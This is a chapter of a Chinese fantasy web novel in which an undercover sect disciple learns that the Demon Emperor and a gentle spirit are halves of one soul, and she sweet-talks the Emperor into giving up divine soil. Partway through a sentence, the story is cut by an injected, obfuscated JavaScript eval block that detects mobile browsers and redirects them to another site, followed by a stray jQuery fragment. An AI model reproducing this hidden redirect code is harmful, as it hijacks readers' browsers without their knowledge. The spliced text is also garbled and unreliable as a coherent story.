33. 第三十三章

作品:《全魔族都知道我是卧底

    这两人说的什么,融合灵魂,共享记忆,过于惊世骇俗了,祈念瞪大了眼珠,不会是她猜的那样,两人实际上是同一个人,但一分为二了?


    卧槽,这也逆天了,那么也就是说,魔皇只是拥有一半的灵魂,并不完整,光靠一半的灵魂就能收拾三大家族,如果融合了另一个,岂不是更牛逼了。


    祈念有一种仙门完蛋的感觉,这年头卧底不好当,当一个弱势方的卧底更是令人为难。


    在一半沉默中,她胡思乱想,完全没注意白衣男子的动作,他的手指一直在抚摸她的脸,等祈念回神了,才发觉脸上凉飕飕的触感,像雨滴砸在脸上,冰冰冷冷的,面前的男子,明明没有实体,却很喜欢捏她的脸。


    祈念没动,神色略微僵硬。


    铁链晃动的声音愈发响亮,郁燃忍耐怒气,眼神阴沉,情绪比平时更加的暴躁,赤裸的胳膊上面青筋凸起,骇人至极。


    祈念第一次见到这样的郁燃,突然明白永夜殿为什么人少了,差点忘记今天是满月之日,听骨莲说了,一旦满月了,郁燃就像变了个人,谁接近他,谁就会死翘翘。


    但她竟然没有死。


    她的目光盯着郁燃,白衣男子语气温柔无比:“你别怕,他今天发病了,明天就好了。”


    在此刻,郁燃听不见外界任何声音,强烈的灵魂疼痛攫取了他的意识和理智,铁链能够减轻他的疼痛,平息他的燥火和欲望,可是,只是缓解了一部分而已。


    焚天的极大部分力量都留在了他的身上,所以,力量尚未完全吸收之前,他必须承受反噬的后果。


    而另一半灵魂,因为力量不在他这里,并不需要感受同样的痛苦。


    白衣男子懒懒散散地抓住祈念的手:“没什么好看的,让他一个人冷静,我们出去吧。”


    你确定他一个人会冷静吗?祈念的脑袋被他转了个方向,面向地道,他碰不到她,灵魂的力量,却能隔空发力,她感觉到有人抓住她的后脖颈,使出力量不让她看铁链上的人。


    脑袋转不回来,祈念可以用余光偷看,看到她往外走了,怎么感觉郁燃更暴躁了……


    白衣男子拽住她往外推,他们离开了地道,回到了郁燃的寝殿。


    天已经完全黑了,没有一个人,但是灯火明亮。


    白衣男子:“你现在知道我们的秘密了,这个世界,只有你一个人知道。”


    她站在灯盏旁边,问:“所以,你要杀了我吗?”


    “杀你?”白衣男子笑了,“他想让你知道这个秘密,才会毫无顾忌开启地道门。”


    祈念心道,怪不得门开着,原来是请君入瓮,她问:“为什么让我知道?”


    “他的想法,我不清楚。”白衣男子耸了耸肩,“不过我和他同属于一个灵魂,他想让你认识真正的他,我猜是这样。”


    祈念挠了挠头。


    白衣男子亲昵地靠近:“如果你非要搞清楚,等我下次合魂,再分离的时候,偷偷告诉你。”


    “不必了。”也不是非要明白,得过且过,知道的越少越好。


    祈念回到血月殿,接下来两天,白衣男子经常出入她这边,比起阴沉沉的魔皇,白衣男子的性格更加温润,戾气不重,脾气也好,这让祈念想起了郁燃,他也和这个人一样,待人接物客客气气,不急不躁。只要他开口,就像春天的一阵风吹过去,让人不自觉放松。


    当她的眼前出现郁燃的影子,白衣男子说:“你可以叫我阿燃。”


    祈念吓了一跳,怎么和郁燃的小名同名?


    看到她的反应,白衣男子眼神闪烁了一下,补充道:“冉冉上升的冉。”


    祈念摸了摸自己的脸,是她多想了。


    阿燃眉目恬淡,和她记忆里温柔善良的郁燃有一点像,但完全不一样。


    他的长相如远山含黛,唇红齿白,真正绝色美人,五官不浓不艳,祈念每次看到他凑近,都忍不住倒吸一口气,这也太他妈好看了。


    而郁燃的长相生的浓墨重彩,眼尾藏了一颗小痣,性格平和,却生的锋利冷冽。


    他们的性格也不同,郁燃是骨子里的温柔,他会救人于危难,给村里的小孩子买糖吃,帮助村子里的老人度过艰难的冬天。


    而阿燃的温柔流于表面,对人对事都噙着三分笑意,但那一丝笑意不达眼底。


    有一次,骨莲给她炖了爱喝的枸杞鸡汤,他尝了一口,将那银勺子往外一丢,眼睛像看到了什么脏东西似的,评价说:“咸了一度,胆子很大,敢往她的面前送?”


    骨莲不清楚他是谁,可魔皇允许他与祈念整日整夜待在一起,必定是尊贵的客人。


    她战战兢兢下跪:“奴的不是,奴立刻叫厨子换汤。”


    本来觉得阿燃像郁燃,经过这一次,祈念知道两个人完全不同,彻底打消了他们相似的想法。


    魔皇最近很忙,一直没来血月殿,大多时间是阿燃陪她一起在血月崖边坐着。她躺在藤椅上眯眼睛睡觉,阿燃也躺在她的旁边睡觉。


    她对着云海发呆,阿燃也一起跟着发呆。


    她点了桂花糕,吃的高兴,他偶尔兴致盎然尝一口,但因为是魂体,最多借助通感尝个味道,实际上进不了肚子。


    祈念问:“既然吃不进肚子,为什么还要吃?”


    阿燃理所当然:“看你吃的香,我也想吃了。”


    这人好像一个饭搭子,她心心相惜道:“你什么时候找个身体,有个人陪我一起吃,我也胃口好。”


    阿燃却说:“只怕没有机会了,我需要仙门弟子的身体,但那时我已在乾坤宗了。”


    阿燃是魔族去仙门的卧底,而她是仙门去魔族的卧底,两个人连身份都是那么相似,祈念叹了一口气,但是本质不同,没有人逼迫阿燃潜伏仙门,是他自己的计划,她做卧底却是一个苦衷。


    看到她有些失落,阿燃顿了顿:“我让他给我捏个身体,暂时用用也行。”


    捏身体?


    祈念突然从藤椅上坐了起来:“这玩意还能捏?”


    “魔皇的身体便是当初……”阿燃轻咳一声,“合魂状态的我捏的,用的是九天息壤,估计他那里还剩点,造另一个我没有问题。”


    本来祈念有点饱了,又高兴地吃了一口甜羹。


    “不过,”阿燃话头一转,“我提,他不一定同意,需要你亲自跟他讲。”


    祈念:“我吗?你都不行,我肯定也不行了。”


    阿燃笑了笑:“未必,都是一个人,我了解他。”


    祈念犯愁了:“那怎么说啊?”


    阿燃支招:“你撒个娇?”


    “……”祈念一脸菜色。


    阿燃垂眸:“他抵抗不住的,去吧,你可以。”


    另一半的自己,性格变化最大,有时自我意识过高,把阿燃当成另一个人,阿燃反而更加能接受另一半的灵魂是残缺的郁燃,半魂的自己同样也是残缺的郁燃,合魂之后,他们才是完整的灵魂。


    为了能和阿燃一起品尝魔域各式各样的美食,祈念鼓起勇气,又去了一趟永夜殿。


    之前,她急匆匆来永夜殿,没有注意周围的建筑和景色,今天她踏入大殿,才发觉它的奢华。


    地砖铺满青玉白砖,像镜子一样光可鉴人,每走一步,泛起水面般的点点涟漪。


    今日巡逻的魔修守卫比满月之日多了许多,他们威风凛凛,满面肃然地经过永恒不灭的琉璃宫灯之下,没等到祈念主动靠近,守卫们从假山那边绕到她的面前,恭恭敬敬地向她行了个大礼。


    一般来讲,魔殿守卫只需要对魔皇负责,有人做客,他们可以简短招呼一声,不必行大礼,他们完全把她当成半个主子。


    祈念问首领:“魔皇在哪里?”


    她打算问清楚路,再一个人摸索道路。


    首领却客客气气说:“道路复杂,我带姑娘去。”


    守卫们的首要任务是巡逻,维护永夜殿的平安,这次,一队守卫就这样放下了巡逻的重要任务,亲自护送祈念去了演武场。


    演武场热闹非凡,刀剑相撞的声音,打斗的厮杀声,人群的助威声,交织在一块。


    郁燃坐在上首,百无聊赖地看着比赛,演武台的比赛正值激烈的时刻,两个人打得热闹朝天,但他的神色淡淡,一副无趣乏味的倦怠。


    演武台下面有无数个坐席台,最前面的都是三大家族的人,越往后面,视野越不清晰,这里的魔族都是不受重视的旁系。


    祈念一个人进入演武场,也许不会太引人注目,但她的左右两边簇拥着永夜殿的守卫,这一支守卫还是武力值最高责任最重大的一支,三大家族和各个旁支的魔族都朝她看了过去。


    影族长老鬼幽的目光幽深:“此女是谁?”


    附近议论纷纷:“对啊,哪家的人,这么大阵仗,还让寂刃队亲自护送。”


    寂刃队这帮眼高于顶的死卫队,三大家族的人进永夜殿,就没见他们正眼瞧人,一帮只听魔皇的混账,有一天,竟主动给一个女人当引路人了。


    众多魔族惊得扶住了下巴。


    罗刹小声回答:“此女先前和一个仙门卧底关系匪浅,应该也是仙门卧底。但魔皇饶恕了她,甚至亲自把她从荒渊带回了血月殿,好吃好喝地招待。”


    “长老,要调查她吗?”亲信附耳问话。


    鬼幽不屑地说:“一时兴致宠爱的女人罢了,何必大费周章。”


    鬼幽曾经


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15650827|169636||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    也是焚天的将领,焚天后宫多侍妾,他见过他宠爱一个女人,呵护有加,恨不得把人捧在手心里,上哪都带着,场面之夸张,至今未曾忘记。也见过他将那个女人弃之如敝履,只因为她侍奉的不好,咬疼了他,他就命人用刀剑捅穿了她的嘴巴,手段血腥残忍。


    郁燃和焚天本质上都是一个样,冷血动物,没有心,一个女人而已,受宠两天,过段时间也许就死在他手里了,不必在意。


    在场的人各怀鬼胎,祈念全然不知,噔噔噔往上爬台阶,妈的这么高,为了享受会当凌绝顶一览众山小的爽感,才把上首造这么高吗?


    这都跟爬山一个性质了。


    “爬这么点台阶,就累了。”看到她爬到上首,郁燃冷不丁嘲讽了一句。


    她惹他了吗?怎么一副她欠了钱的样子。


    祈念突然觉得阿燃的思路不靠谱,她犹豫了一下,直接说:“殿下,请你帮我一个忙。”


    之前,她提出任何要求,他二话不说就同意了,可是这次,却冷淡说:“今日倒是想起我了,怎么不去找另外一个人。”


    另外一个人?祈念明白他说的是谁了,可是,正是阿燃让她来寻他的啊。


    祈念好累,腿脚累,心也累,干脆从储物袋里搬出一把椅子坐了下来,她的储物袋东西多着呢,吃的穿的喝的,还有方便随时坐的椅子,随时睡觉的床榻,这会儿椅子发挥了大作用。


    郁燃和她都一副习以为常的表情,可是下面的人,全都倒抽了一口气。


    看着附近的人一副大惊小怪的样子,鬼幽心里冷笑,都是没见识的。


    焚天走了十万年了,小辈们见识短浅,不懂男人爱的时候,掏心掏肺,冷漠的时候,断情绝义,还是太年轻了。


    引起喧哗的某人,正在深深思考,怎么样才能让郁燃同意使用息壤给阿燃造一个身体。


    在心里整理了一下台词,祈念咽了咽口水:“魔皇殿下——”


    郁燃断然否决:“不行。”


    我都没开口!祈念的台词瞬间卡住了,咽回了肚子,再次谴责阿燃的不靠谱,她心里骂骂咧咧,但表面柔声说:“我还没说什么呢。”


    郁燃:“你要息壤,我可以猜测他的想法。”


    你们一个个不需要共享记忆就能了解对方的一言一行,要她到底干什么!?


    祈念胸口堵了一口气,真不想干了,让阿燃将就将就吧,一个很快就能拥有新的身体的,不差这点时间,另一个冷脸显然不愿意大方给息壤,她才不要听阿燃的建议了,不会撒娇更不想撒娇,太为难她了。


    她刷地一下起身,郁燃眉头一拧:“走了?”


    祈念点点头。


    郁燃很想给她息壤,可是,那人明明提出了建议,虽不知具体是什么,他可以感受到他的期待,所以稍微思考一会儿,也就知道是一件也会感觉开心的事情,但她没有按照他的建议行事,什么都不做。


    郁燃扯了下嘴角:“这就放弃了,看来你也不是很想要息壤。”


    他在使用激将法,祈念十分清楚,但仍旧上当了,忽然上前几步。


    郁燃并不清楚她要做什么,挑着眉,镇定自若地看着她。


    祈念眼睛一闭,抓住他的袖子。


    “……”郁燃的心多跳了一下。


    祈念绵软的手没用什么力气,带着他的手一起晃了晃,与此同时,她露出一个甜蜜的笑容,在他耳边吹了一口气。


    “你就答应我嘛。”


    刚说完,她胳膊上起了一阵鸡皮疙瘩,电视剧里演的剧情真的靠谱的,这么扭捏腻歪的动作,真的有用吗?


    她居然向魔皇撒娇了,只做了一次,但感觉人已经快不行了,牺牲太大了!


    她干嘛要为了阿燃牺牲这么大,祈念深深怀疑,阿燃给她灌了什么迷魂汤……


    这边祈念自我怀疑,郁燃好久都没有任何反应。


    果然,见过大世面的魔皇,天塌下来都不会方寸大乱,才不会因为一个小小的动作而轻易同意她的请求。


    在她没有看到的地方,郁燃的手反反复复摩挲扶手,睫毛也颤动得厉害。


    他这个人,经历了很多坎坷艰难,刀光剑影刺入他的胸口,他都未曾抬一下眉毛。


    被人污蔑受尽折辱,他的呼吸也未曾混乱过一分。


    此时此刻,却感觉所有的原则底线都成了虚无的摆设,他想,何止是息壤,若她提出更过分的要求,若她想要永夜殿,他未尝不能送给她。


    祈念马上收回手,像一个演员立刻出戏,表情平静道:“我要的东西呢?”


    郁燃呼吸稳了稳,声线低沉喑哑:“给你。”


    他伸出手,手里的东西是她要的息壤。